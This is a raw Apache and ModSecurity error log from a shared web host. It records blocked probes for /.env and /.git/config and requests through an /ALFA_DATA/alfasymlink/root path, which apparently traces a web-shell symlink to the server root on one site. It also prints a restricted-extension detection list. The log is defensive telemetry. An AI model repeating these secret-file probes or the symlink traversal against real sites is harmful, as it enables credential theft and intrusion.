[Mon Oct 26 23:41:53.220678 2026] [security2:error] [pid 3152927:tid 3152927] [client 85.208.96.194:14436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/ICE1724.conf"] [unique_id "auAdgen4bIWiIXBuaEF-7gAAAAI"]
[Mon Oct 26 23:42:01.035073 2026] [security2:error] [pid 3154105:tid 3154105] [client 165.227.102.187:48984] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auAdiQNsKVHs98GrhGMUQAAAAAE"]
[Mon Oct 26 23:42:01.035312 2026] [security2:error] [pid 3154105:tid 3154105] [client 165.227.102.187:48984] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auAdiQNsKVHs98GrhGMUQAAAAAE"]
[Mon Oct 26 23:42:01.035644 2026] [security2:error] [pid 3154105:tid 3154105] [client 165.227.102.187:48984] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auAdiQNsKVHs98GrhGMUQAAAAAE"]
[Mon Oct 26 23:42:01.658306 2026] [security2:error] [pid 3146331:tid 3146331] [client 165.227.102.187:48986] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "auAdiR7MuKI4tGMtwYeNLwAAAAo"]
[Mon Oct 26 23:42:01.658572 2026] [security2:error] [pid 3146331:tid 3146331] [client 165.227.102.187:48986] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "auAdiR7MuKI4tGMtwYeNLwAAAAo"]
[Mon Oct 26 23:42:01.658866 2026] [security2:error] [pid 3146331:tid 3146331] [client 165.227.102.187:48986] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "auAdiR7MuKI4tGMtwYeNLwAAAAo"]
[Mon Oct 26 23:42:10.213642 2026] [ssl:error] [pid 3154117:tid 3154117] (70014)End of file found: [client 3.213.85.234:31095] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:42:14.155126 2026] [ssl:error] [pid 3152927:tid 3152927] (5)Input/output error: [client 44.193.102.198:49503] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:42:22.196362 2026] [ssl:error] [pid 3153401:tid 3153401] (70014)End of file found: [client 52.23.112.144:24969] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:42:26.655387 2026] [core:error] [pid 3146331:tid 3146331] (13)Permission denied: [client 216.244.66.250:58428] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tmp.JZihJyeT4x
[Mon Oct 26 23:42:30.157810 2026] [ssl:error] [pid 3153395:tid 3153395] (70014)End of file found: [client 34.234.197.175:54468] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:42:36.300041 2026] [security2:error] [pid 3154117:tid 3154117] [client 43.153.135.208:36970] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "auAdrHgfWEloDLnHqjt5HwAAABk"]
[Mon Oct 26 23:42:46.160972 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 3.213.85.234:16503] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:42:54.275050 2026] [core:error] [pid 3146331:tid 3146331] (13)Permission denied: [client 3.230.69.161:49975] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty16/subsystem/ttyS3/xmit_fifo_size
[Mon Oct 26 23:43:07.398727 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 44.206.93.215:6195] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:43:16.535814 2026] [security2:error] [pid 3154117:tid 3154117] [client 190.3.166.166:16450] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/scrapernojsok.php"] [unique_id "auAd1HgfWEloDLnHqjt5IQAAABk"], referer: https://sherwinpinturas.com/
[Mon Oct 26 23:43:26.220700 2026] [ssl:error] [pid 3154105:tid 3154105] (70014)End of file found: [client 50.16.248.61:47323] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:43:26.636037 2026] [security2:error] [pid 3152940:tid 3152940] [client 107.172.76.131:57485] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAd03qFfbazysLpfsTwdQAAAA8"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 23:43:26.636093 2026] [security2:error] [pid 3152940:tid 3152940] [client 107.172.76.131:57485] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAd03qFfbazysLpfsTwdQAAAA8"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 23:43:38.206428 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 34.194.95.99:50339] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:43:54.139306 2026] [ssl:error] [pid 3153798:tid 3153798] (70014)End of file found: [client 35.169.119.108:56440] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:43:54.593743 2026] [ssl:error] [pid 3154120:tid 3154120] (70014)End of file found: [client 85.208.96.204:15478] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:44:02.139222 2026] [ssl:error] [pid 3153401:tid 3153401] (70014)End of file found: [client 44.193.102.198:38605] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:44:04.039079 2026] [security2:error] [pid 3146389:tid 3146389] [client 177.222.99.73:58162] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/debug_aguascalientes_1.html"] [unique_id "auAeBOJUkwm96ZYHDUs2IgAAABE"], referer: https://sherwinpinturas.com/
[Mon Oct 26 23:44:14.313502 2026] [ssl:error] [pid 3154105:tid 3154105] (5)Input/output error: [client 52.45.77.169:57696] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:44:22.156257 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 98.83.177.42:48572] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:44:26.245558 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 23.21.250.48:41847] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:44:30.168702 2026] [ssl:error] [pid 3154105:tid 3154105] (70014)End of file found: [client 3.94.199.128:54903] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:44:31.895201 2026] [ssl:error] [pid 3146331:tid 3146331] (5)Input/output error: [client 185.191.171.6:40310] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:44:32.487570 2026] [ssl:error] [pid 3153401:tid 3153401] (5)Input/output error: [client 185.191.171.6:40312] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:44:34.248237 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 98.83.226.125:15401] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:44:35.543569 2026] [security2:error] [pid 3152940:tid 3152940] [client 107.172.76.131:57485] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAeF3qFfbazysLpfsTwegAAAA8"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 23:44:35.543627 2026] [security2:error] [pid 3152940:tid 3152940] [client 107.172.76.131:57485] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAeF3qFfbazysLpfsTwegAAAA8"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 23:44:36.707806 2026] [core:error] [pid 3153401:tid 3153401] (13)Permission denied: [client 85.208.96.212:28906] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/store_user
[Mon Oct 26 23:44:38.274636 2026] [core:error] [pid 3153096:tid 3153096] (13)Permission denied: [client 100.29.160.53:27527] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/cpu0/firmware_node/physical_node/subsystem/uevent
[Mon Oct 26 23:44:42.285861 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 98.82.40.168:26489] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:44:46.167866 2026] [core:error] [pid 3154934:tid 3154934] (13)Permission denied: [client 107.20.181.148:43740] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:03/physical_node/driver/module/sections/__bug_table
[Mon Oct 26 23:44:54.215628 2026] [ssl:error] [pid 3153401:tid 3153401] (70014)End of file found: [client 54.83.56.1:3126] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:44:58.167654 2026] [ssl:error] [pid 3153407:tid 3153407] (70014)End of file found: [client 52.202.233.37:31714] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:45:14.170778 2026] [ssl:error] [pid 3153396:tid 3153396] (70014)End of file found: [client 52.3.156.186:46138] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:45:22.280592 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 44.209.35.147:58265] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:45:48.389503 2026] [core:error] [pid 3146389:tid 3146389] (13)Permission denied: [client 185.191.171.13:48528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/object_size
[Mon Oct 26 23:45:50.161189 2026] [ssl:error] [pid 3147565:tid 3147565] (5)Input/output error: [client 3.222.190.107:27510] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:45:58.882309 2026] [core:error] [pid 3153401:tid 3153401] (13)Permission denied: [client 85.208.96.203:45336] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/red_zone
[Mon Oct 26 23:46:04.896493 2026] [security2:error] [pid 3152927:tid 3152927] [client 165.227.102.187:38726] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auAefOn4bIWiIXBuaEF--QAAAAI"]
[Mon Oct 26 23:46:04.896701 2026] [security2:error] [pid 3152927:tid 3152927] [client 165.227.102.187:38726] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auAefOn4bIWiIXBuaEF--QAAAAI"]
[Mon Oct 26 23:46:04.897020 2026] [security2:error] [pid 3152927:tid 3152927] [client 165.227.102.187:38726] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auAefOn4bIWiIXBuaEF--QAAAAI"]
[Mon Oct 26 23:46:05.372562 2026] [security2:error] [pid 3147565:tid 3147565] [client 165.227.102.187:38734] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "auAefet_JlfYNa0VLOKIuQAAAAw"]
[Mon Oct 26 23:46:05.372769 2026] [security2:error] [pid 3147565:tid 3147565] [client 165.227.102.187:38734] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "auAefet_JlfYNa0VLOKIuQAAAAw"]
[Mon Oct 26 23:46:05.373080 2026] [security2:error] [pid 3147565:tid 3147565] [client 165.227.102.187:38734] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "auAefet_JlfYNa0VLOKIuQAAAAw"]
[Mon Oct 26 23:46:14.131017 2026] [core:error] [pid 3153401:tid 3153401] (13)Permission denied: [client 54.198.33.233:28957] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:01/subsystem/drivers/battery/uevent
[Mon Oct 26 23:46:18.134778 2026] [ssl:error] [pid 3154105:tid 3154105] (70014)End of file found: [client 54.147.182.90:53048] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:46:26.151163 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 52.204.174.139:1496] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:46:29.441108 2026] [authz_core:error] [pid 3146331:tid 3146331] [client 192.236.202.11:54778] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 23:46:30.137310 2026] [ssl:error] [pid 3153401:tid 3153401] (70014)End of file found: [client 3.226.106.93:43312] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:46:38.407140 2026] [ssl:error] [pid 3154105:tid 3154105] (70014)End of file found: [client 44.205.192.249:7163] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:46:38.407365 2026] [security2:error] [pid 3154105:tid 3154105] [client 44.205.192.249:7163] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/PNP0700:00/path"] [unique_id "auAengNsKVHs98GrhGMUSgAAAAE"]
[Mon Oct 26 23:46:38.407409 2026] [security2:error] [pid 3154105:tid 3154105] [client 44.205.192.249:7163] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/PNP0700:00/path"] [unique_id "auAengNsKVHs98GrhGMUSgAAAAE"]
[Mon Oct 26 23:46:38.885995 2026] [security2:error] [pid 3154108:tid 3154108] [client 181.16.173.69:38110] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "auAentMVaYal7eZXLLD9FQAAAAQ"], referer: https://sherwinpinturas.com/
[Mon Oct 26 23:46:38.886210 2026] [security2:error] [pid 3154108:tid 3154108] [client 181.16.173.69:38110] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "auAentMVaYal7eZXLLD9FQAAAAQ"], referer: https://sherwinpinturas.com/
[Mon Oct 26 23:46:38.886887 2026] [security2:error] [pid 3154108:tid 3154108] [client 181.16.173.69:38110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "auAentMVaYal7eZXLLD9FQAAAAQ"], referer: https://sherwinpinturas.com/
[Mon Oct 26 23:46:38.887267 2026] [security2:error] [pid 3154108:tid 3154108] [client 181.16.173.69:38110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "auAentMVaYal7eZXLLD9FQAAAAQ"], referer: https://sherwinpinturas.com/
[Mon Oct 26 23:46:42.235543 2026] [core:error] [pid 3153407:tid 3153407] (13)Permission denied: [client 54.225.181.161:24426] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/PNP0303:00/physical_node/driver/uevent
[Mon Oct 26 23:46:46.166152 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 54.147.238.89:41434] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:46:48.578126 2026] [core:error] [pid 3147565:tid 3147565] (13)Permission denied: [client 85.208.96.194:54604] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/free_calls
[Mon Oct 26 23:46:50.129353 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 52.0.63.151:6595] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:47:06.140574 2026] [ssl:error] [pid 3147565:tid 3147565] (70014)End of file found: [client 3.212.86.97:40313] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:47:10.734427 2026] [security2:error] [pid 3154108:tid 3154108] [client 201.219.194.133:54888] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimoagenda.php"] [unique_id "auAevtMVaYal7eZXLLD9FwAAAAQ"], referer: https://sherwinpinturas.com/
[Mon Oct 26 23:47:14.176603 2026] [ssl:error] [pid 3154120:tid 3154120] (70014)End of file found: [client 23.23.103.31:18320] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:47:22.267032 2026] [ssl:error] [pid 3153798:tid 3153798] (70014)End of file found: [client 44.209.187.99:30492] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:47:30.150581 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 54.145.82.217:49417] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:47:34.122682 2026] [core:error] [pid 3154120:tid 3154120] (13)Permission denied: [client 44.207.252.58:63304] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0F13:00/physical_node/subsystem/drivers/rtc_cmos/unbind
[Mon Oct 26 23:47:50.174841 2026] [ssl:error] [pid 3154107:tid 3154107] (70014)End of file found: [client 23.20.178.124:31675] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:47:58.141024 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 44.215.61.66:6719] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:48:18.244102 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 3.215.59.93:39336] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:48:26.206416 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 98.83.8.142:60779] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:48:30.125985 2026] [ssl:error] [pid 3154934:tid 3154934] (70014)End of file found: [client 52.203.152.231:57565] AH02013: coalesce failed to read from data bucket
